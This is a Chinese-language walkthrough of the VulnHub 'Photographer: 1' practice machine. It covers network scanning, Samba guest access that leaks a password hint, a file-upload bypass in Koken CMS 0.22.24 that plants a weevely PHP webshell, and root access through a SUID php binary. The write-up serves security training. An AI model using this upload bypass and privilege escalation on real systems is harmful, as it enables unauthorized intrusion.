基本介绍

靶机地址

https://www.vulnhub.com/entry/photographer-1,519/

目标

获取两个 flag:user.txt,proof.txt。

环境

名称 介绍
主机 Manjaro 20.1
虚拟化软件 Virtualbox 6.1.12
靶机网络 Host-only (vboxnet0)
kali in docker 2020.3

工具

名称 版本
arp-scan 1.9.7
Nmap 7.80
smbmap 1.0.5
smbclient 4.12.5-Debian
burpsuite Community 2020.9

信息收集

获取 IP 地址

使用 arp-scanvboxnet0 接口进行二层扫描,得到靶机的地址为 192.168.56.123

{% blockquote %}

1
arp-scan -I vboxnet0 --localnet

Interface: vboxnet0, type: EN10MB, MAC: 0a:00:27:00:00:00, IPv4: 192.168.56.1 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.56.100 08:00:27:b7:4e:30 PCS Systemtechnik GmbH 192.168.56.123 08:00:27:35:da:a1 PCS Systemtechnik GmbH

2 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 2.012 seconds (127.24 hosts/sec). 2 responded {% endblockquote %}

端口扫描

使用 Nmap 的半连接方式对靶机进行全 TCP 端口扫描,该靶机开放了 4 个端口:

{% blockquote %}

1
nmap -sS -p- 192.168.56.123

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-06 04:53 UTC Nmap scan report for 192.168.56.123 Host is up (0.000063s latency). Not shown: 65531 closed ports PORT STATE SERVICE 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds 8000/tcp open http-alt MAC Address: 08:00:27:35:DA:A1 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds {% endblockquote %}

服务枚举

可见 80 和 8000 端口运行着 apache;比较有意思的是该靶机运行着 samba 服务,版本为 4.3.11,系统可能是 Ubuntu。

{% blockquote %}

1
nmap -sV -sC -p80,139,445,8000 192.168.56.123

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-06 04:57 UTC Nmap scan report for 192.168.56.123 Host is up (0.00025s latency).

PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Photographer by v1n1v131r4 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 8000/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: Koken 0.22.24 |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: daisa ahomi |_http-trane-info: Problem with XML parsing of /evox/about MAC Address: 08:00:27:35:DA:A1 (Oracle VirtualBox virtual NIC) Service Info: Host: PHOTOGRAPHER

Host script results: |clock-skew: mean: 1h19m58s, deviation: 2h18m34s, median: -2s |nbstat: NetBIOS name: PHOTOGRAPHER, NetBIOS user: , NetBIOS MAC: (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: photographer | NetBIOS computer name: PHOTOGRAPHER\x00 | Domain name: \x00 | FQDN: photographer | System time: 2020-09-06T00:57:14-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported | message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-09-06T04:57:14 |_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.34 seconds {% endblockquote %}

Samba 枚举

既然运行着 Samba,就先探测一波,虽说 Linux 下的 Samba 没有 Win 的 SMB 那么好玩(玩笑)。

枚举 Samba 共享

首先使用 smbmap 查看靶机存在哪些共享和相应的权限:

{% blockquote %}

1
smbmap -H 192.168.56.123

[+] Guest session IP: 192.168.56.123:445 Name: 192.168.56.123 Disk Permissions Comment

print$ NO ACCESS Printer Drivers sambashare READ ONLY Samba on Ubuntu IPC$ NO ACCESS IPC Service (photographer server (Samba, Ubuntu)) {% endblockquote %}

不指定账户可以借助 Guest 账户访问,而且 sambashare 是可读的,应该能从其中发现一些蛛丝马迹。

Samba 共享读取

这里我使用 smbclient 来访问共享,该程序提供了类似 ftp 的界面,这里不需要密码即可访问:

{% blockquote %}

1
smbclient //192.168.56.123/sambashare

Enter WORKGROUP\root’s password: Try “help” to get a list of possible commands. smb: > ls . D 0 Tue Jul 21 01:30:07 2020 .. D 0 Tue Jul 21 09:44:25 2020 mailsent.txt N 503 Tue Jul 21 01:29:40 2020 wordpress.bkp.zip N 13930308 Tue Jul 21 01:22:23 2020 278627392 blocks of size 1024. 264268400 blocks available {% endblockquote %}

使用 get 命令即可将文件下载到本地。wordpress.bkp.zip 解压查看是一个 wordpress 项目,截止到现在我还不知道它有什么用处,之前一直纠结于这是不是网站的源码可是无果。查看 mailsent.txt 的内容如下:

{% blockquote %} Message-ID: 4129F3CA.2020509@dc.edu Date: Mon, 20 Jul 2020 11:40:36 -0400 From: Agi Clarence agi@photographer.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Daisa Ahomi daisa@photographer.com Subject: To Do - Daisa Website’s Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit

Hi Daisa! Your site is ready now. Don’t forget your secret, my babygirl ;) {% endblockquote %}

可见是 agi@photographer.com 发给 daisa@photographer.com 的邮件,有提到网站和密码。

Web 枚举

该靶机的 apache 版本较高,暂时没有发现可利用的弱点或是插件之类的;针对两个端口的 Web 服务进行路径扫描无果。就在陷入困境之时注意到了浏览器插件 Wappalyzer 分析的结果:

wapp

可见该靶机使用了 KoKen CMS 框架,版本为 0.22.24。进行一番搜索之后发现该系统存在一个已知的任意文件上传漏洞,可用来上传 php webshell。首先需要登陆 koken:

登陆 koken

访问 URL http://192.168.56.123/koken/admin,经过一番猜测,邮箱为 daisa@photographer.com,密码为 babygirl

上传 Webshell

生成 webshell

这里我是用 weevely 生成 webshell:

1
weevely generate 123456 image.php.jpg

koken 任意文件上传利用

该漏洞利用比较简单,详细见参考链接 1 。只需要生成一个 php webshell 命名为 *.php.jpg,在上传时使用 burpsuite 截获,将文件名修改为 *.php 即可。上传按钮在本页面的最右下角:

upload

上传的 POST 请求:

change1

change2

只需将红框内的内容修改即可。

上传完之后可在进行预览,由于并不是图片无法查看,但是点击 Download File 可以得到上传之后的 URL:

addr

连接 webshell

1
weevely http://192.168.56.123/koken/storage/originals/3b/59/image.php 123456

conn_shell

连接成功!仅仅使用 webshell 就能访问到 user.txt,root 目录由于权限不够无法访问。

权限提升

该靶机提权比较简单,直接搜索 SUID 权限的可执行文件即可:

{% blockquote %}

1
find / -perm -4000 2>/dev/null

/usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/xorg/Xorg.wrap /usr/lib/snapd/snap-confine /usr/lib/openssh/ssh-keysign /usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox /usr/lib/policykit-1/polkit-agent-helper-1 /usr/sbin/pppd /usr/bin/pkexec /usr/bin/passwd /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/php7.2 /usr/bin/sudo /usr/bin/chsh /usr/bin/chfn /bin/ping /bin/fusermount /bin/mount /bin/ping6 /bin/umount /bin/su {% endblockquote %}

可见有 php,直接利用 php 执行命令:

{% blockquote %}

1
/usr/bin/php7.2 -r "pcntl_exec('/bin/ls', ['/root']);"

proof.txt {% endblockquote %}

可见已经能访问 /root 目录,读取 proof.txt,结束。

总结

之前在这个靶机上坑了很久,原因就是 Samba 泄漏的 Wordpress 源码,其实和 Wordpress 并没有什么关系。koken 的登陆密码没有想到将 babygirl 单独拿出来去试,直接拿 hydra 出密码才发现的。

不得不说 Wappalyzer 起到了重大的作用,koken 的漏洞算比较新的了,幸好搜的到。其它的就没什么特别的了,提权也是很常见的 SUID 提权。

参考链接

  1. Bypass File Upload on Koken CMS

  2. Php SUID